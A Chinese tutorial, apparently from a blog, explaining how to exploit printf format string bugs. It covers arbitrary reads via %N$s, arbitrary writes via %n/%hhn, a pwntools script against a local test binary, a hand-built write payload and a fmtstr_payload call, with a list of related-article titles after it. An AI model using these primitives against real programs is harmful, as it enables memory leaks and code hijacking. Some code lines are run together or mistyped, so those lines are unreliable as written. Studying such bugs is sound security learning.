读任意地址

printf("%x")只给格式化字符串,而不给参数,会导致内存泄漏从而读到内存中其他地址的数据。

%N$x参数可以以16进制方式打印第N个参数的内容,通过修改N,我们可以遍历栈上的所有内容。

通过%N$s参数,我们可以将第N个参数对应的内容作为字符串的地址从而获得内存中任意位置的内容。方法如下

  1. 如果我们使用的打印语句为:printf("AAAA%x")那么栈的内容如下:
栈底
x
%
A
A
A
A
栈顶
  1. 使用printf("AAAA%N$x"),并令N=1,2,3,… 假设,当N=6时得到如下输出内容:
    AAAA41414141#
    其中41是‘A’的ASCII码,‘41414141#’正好是4个字节,即int的大小,这说明偏移量为6时正好读到格式化字符串在栈中的位置。
  2. 使用printf("%7$sAAAA"),则栈内容如下:
栈底
A
A
A
A
s
$
7
%
栈顶

我们知道偏移量为6时正好能读到‘%’的位置,那么偏移量为7的时候会往栈底方向再走4个字节,于是得到的内容为‘AAAA’,而由于这次我们使用的是%s打印符,因此会打印地址‘AAAA’处的内容,通过修改‘AAAA’的内容,就可以打印任意内存位置的内容。
4. 可以用pwntool实现该功能如下:

from pwn import *context.log_level='debug'
conn=process('./test')conn.sendline("%7$s"+p32(0x08048000))#获取地址0x08048000处的
print conn.recv()

写任意地址

写地址要用到%n格式化符,例如printf("AAAA%n",&a),会将‘AAAA’的长度值4写入变量a。如果采用printf("AAAA%N$n")就可以向地址偏移N的位置的值解析为指针,并将指针指向的地址写入4。

例如:printf("AAAA%6$n"),由于前面的测试中我们发现偏移值是6,因此偏移6对应的栈位置为‘AAAA’,程序将‘AAAA’解析为地址,并向该地址写入"AAAA%6$n"的长度值8.

如果要像任意地址写入任意数值,我们不可能真的构造那么长的字符串,这时可以采用如下格式化符一次写入多个字节:

32位读'%{}$x'.format(index)           // 读4个字节
'%{}$p'.format(index)           // 同上面
'${}$s'.format(index)
写'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
64位读'%{}$x'.format(index, num)      // 读4个字节
'%{}$lx'.format(index, num)     // 读8个字节
'%{}$p'.format(index)           // 读8个字节
'${}$s'.format(index)
写'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

举个例子,我们希望向0x08048000写入值0x10203040,可以这样构造:

\x00\x80\x04\x08\x01\x80\x04\x08\x02\x80\x04\x08\x03\x80\x04\x08%48c%6$hhn%240c%7$hhn%240c%8$hhn%240c%9$hhn

分解一下就是四个地址加上四个格式化字符

\x00\x80\x04\x08
\x01\x80\x04\x08
\x02\x80\x04\x08
\x03\x80\x04\x08
%48c%6$hhn
%240c%7$hhn
%240c%8$hhn
%240c%9$hhn

即对0x08048000写入16+48=64=0x40
对0x08048001写入0x40+240=304=0x130=0x30
对0x08048002写入0x30+240=288=0x120=0x20
对0x08048003写入0x20+240=272=0x110=0x10
但是这个payload以0x00开头,可以手工调整一下,调换地址与格式化字符的位置,还要改一下n的值.

当然,这样还是过于麻烦,实际上可以使用pwntool的fmtstr模块

fmtstr_payload(6, {0x08048000:0x10203040}) #6为格式化字符的偏移值

printf格式化字符串漏洞原理解析相关推荐

  1. 【逆向学习记录】格式化字符串漏洞原理及其利用

    1 概述 前面学习完成栈溢出的漏洞利用,接下来最长用到的就是格式化字符串了,由于懒散,春节之前耽误的很多时间,这里统一整理一下 学习的过程中,主要参考文章: 格式化字符串利用小结 CTF WIKI 格 ...

  2. 【PWN】格式化字符串漏洞原理

    今天做Dest0g3 520迎新赛的dest_love,发现是格式化字符串问题,但是由于其内容保存在了bss区,导致无法像过去那样简单利用,坐牢半天没做出来,但恰巧遇到了,就复习一下格式化字符串漏洞的 ...

  3. c++字符串输入_【pwn】什么是格式化字符串漏洞?

    0x00 前言 格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少 ...

  4. 格式化字符串漏洞利用 二、格式化函数

    二.格式化函数 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 ...

  5. Linux pwn入门教程——格式化字符串漏洞

    本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...

  6. linux获取字符格式化,Linux 格式化字符串漏洞利用

    目的是接觸一些常見的漏洞,增加自己的視野.格式化字符串危害最大的就兩點,一點是leak memory,一點就是可以在內存中寫入數據,簡單來說就是格式化字符串可以進行內存地址的讀寫.下面結合着自己的學習 ...

  7. buuctf pwn wp(第四波)格式化字符串漏洞系列

    这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...

  8. 格式化字符串漏洞及利用_萌新食用

    格式化字符串漏洞及利用 前言 格式化字符串漏洞 具有 任意地址读,任意地址写.  printf printf --一个参数:情况1 //gcc -g -m32 fmt.c -o fmt #includ ...

  9. 利用格式化字符串漏洞实现任意地址读写

    格式化字符串漏洞是一个经典的 pwn 类型漏洞,入门文章很多,例如如下博客 格式化字符串漏洞小总结(上) - 先知社区 (aliyun.com) 原理介绍 - CTF Wiki (ctf-wiki.o ...

最新文章

  1. 【java】实现数据在页面之间传输
  2. 九九乘法表-使用转义字符调整格式
  3. git提交代码到码云
  4. 作者:沈志宏(1977-),男,博士,中国科学院计算机网络信息中心高级工程师...
  5. python协程与多线程比较_python-协程、多线程、多进程性能比较
  6. 假如啤酒只有七天生命
  7. 伴生对象-apply方法
  8. 数据可视化软件有什么特点
  9. 1060 Are They Equal (25 分)科学计数法,stl中string的各种函数用法
  10. java怎么反编译_Java入门教程-Java的反编译
  11. 爬虫(12)-爬虫爬取安居客二手房和新房信息
  12. C语言读取文件数据,操作并保存
  13. 众银行纷纷抢滩网贷市场 大数据征信如何做?
  14. 日文输入法快捷键整理
  15. 浏览器的同源策略,以及为什么浏览器要用同源策略。
  16. 统计数组中英文大写字母,小写字母,数字,空格的个数。
  17. Chloe 蔻依 恋旅
  18. 在Mac上更安全的搜索和下载BT
  19. Java基础——Java多继承的三种实现方式
  20. 如何让暴风影音播放flv文件

热门文章

  1. c语言pair的用法,C++ pair的基本用法总结整理
  2. python 圣诞_使用Python制作缩放自如的圣诞老人(圣诞树)
  3. 电脑变小,技术员解决电脑屏幕变小了怎么办 【解决方法】 的教程介绍_
  4. bundle java_Java 中 Bundle 的使用
  5. Erlang,优秀的Erlang
  6. Codeforces 1045C Hyperspace Highways (看题解) 圆方树
  7. java 判断 小数_java判断是否是小数
  8. (操作系统)生产者消费者问题
  9. 国产智多晶FPGA使用Modelsim仿真时器件库的编译方法
  10. 非法使用计算机信息罪,刑法解释:第二百八十五条【非法侵入计算机信息系统罪定义、量刑】...